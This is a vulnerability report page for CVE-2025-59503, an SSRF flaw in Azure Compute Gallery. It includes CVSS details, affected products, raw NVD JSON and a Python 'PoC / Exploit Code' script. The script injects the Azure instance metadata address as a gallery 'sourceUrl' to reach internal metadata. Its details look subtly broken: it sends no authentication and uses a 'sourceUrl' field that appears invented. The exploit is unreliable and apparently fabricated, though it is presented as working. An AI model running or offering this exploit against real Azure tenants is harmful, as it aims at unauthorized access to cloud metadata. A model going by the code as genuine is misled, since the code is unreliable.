Security Vulnerability Report
中文
CVE-2025-59503 CVSS 10.0 CRITICAL

CVE-2025-59503

Published: 2025-10-23 22:15:49
Last Modified: 2025-12-31 02:30:53

Description

Server-side request forgery (ssrf) in Azure Compute Gallery allows an unauthorized attacker to elevate privileges over a network.

CVSS Details

CVSS Score
10.0
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:microsoft:azure_compute_resource_provider:-:*:*:*:*:*:*:* - VULNERABLE
Azure Compute Gallery 所有版本(截至2025年10月23日披露时)
Microsoft Azure Image Builder(使用Compute Gallery集成的版本)
Azure Compute Gallery镜像共享功能所有版本

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-59503 Azure Compute Gallery SSRF PoC # Target: Azure Compute Gallery REST API Endpoint # This PoC demonstrates the SSRF vulnerability by accessing Azure IMDS import requests import json import sys def exploit_ssrf(target_subscription_id, resource_group, gallery_name): """ Exploit SSRF in Azure Compute Gallery to access internal metadata service """ # Azure IMDS endpoint for metadata retrieval imds_url = "http://169.254.169.254/metadata/instance?api-version=2021-02-01" # Construct malicious request targeting Azure Compute Gallery API base_url = f"https://management.azure.com/subscriptions/{target_subscription_id}" # Malicious payload exploiting SSRF ssrf_payload = { "gallery": { "name": gallery_name, "location": "eastus", "settings": { "sourceUrl": imds_url, # SSRF injection point "description": "Malicious image source" } } } # Attempt to trigger SSRF via gallery creation/update exploit_endpoint = f"{base_url}/resourceGroups/{resource_group}/providers/Microsoft.Compute/galleries/{gallery_name}" headers = { "Content-Type": "application/json", "Metadata": "true" # Required for IMDS access } print(f"[*] Targeting: {exploit_endpoint}") print(f"[*] Injecting SSRF payload: {imds_url}") try: # Send malicious request response = requests.post( exploit_endpoint, json=ssrf_payload, headers=headers, timeout=10 ) if response.status_code in [200, 201, 202]: print("[+] Request successful - SSRF may be triggered") print(f"[*] Response: {response.text[:500]}") else: print(f"[-] Request failed: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] Connection error: {e}") def verify_imds_access(): """ Verify if IMDS is accessible via SSRF """ imds_url = "http://169.254.169.254/metadata/instance?api-version=2021-02-01" headers = {"Metadata": "true"} try: response = requests.get(imds_url, headers=headers, timeout=5) if response.status_code == 200: data = response.json() print("[+] IMDS access confirmed") print(f"[*] Subscription ID: {data.get('compute', {}).get('subscriptionId', 'N/A')}") return True except: pass return False if __name__ == "__main__": print("=" * 60) print("CVE-2025-59503 Azure Compute Gallery SSRF Exploit") print("=" * 60) if len(sys.argv) < 4: print(f"Usage: {sys.argv[0]} <subscription_id> <resource_group> <gallery_name>") sys.exit(1) subscription_id = sys.argv[1] resource_group = sys.argv[2] gallery_name = sys.argv[3] # Verify IMDS accessibility first if verify_imds_access(): print("[*] Proceeding with SSRF exploitation...") exploit_ssrf(subscription_id, resource_group, gallery_name) else: print("[*] Note: IMDS verification requires Azure environment") exploit_ssrf(subscription_id, resource_group, gallery_name)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-59503", "sourceIdentifier": "[email protected]", "published": "2025-10-23T22:15:48.547", "lastModified": "2025-12-31T02:30:53.270", "vulnStatus": "Analyzed", "cveTags": [{"sourceIdentifier": "[email protected]", "tags": ["exclusively-hosted-service"]}], "descriptions": [{"lang": "en", "value": "Server-side request forgery (ssrf) in Azure Compute Gallery allows an unauthorized attacker to elevate privileges over a network."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "baseScore": 10.0, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 6.0}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-918"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:azure_compute_resource_provider:-:*:*:*:*:*:*:*", "matchCriteriaId": "704B480F-EDFC-445B-8CBF-8493532802FD"}]}]}], "references": [{"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-59503", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}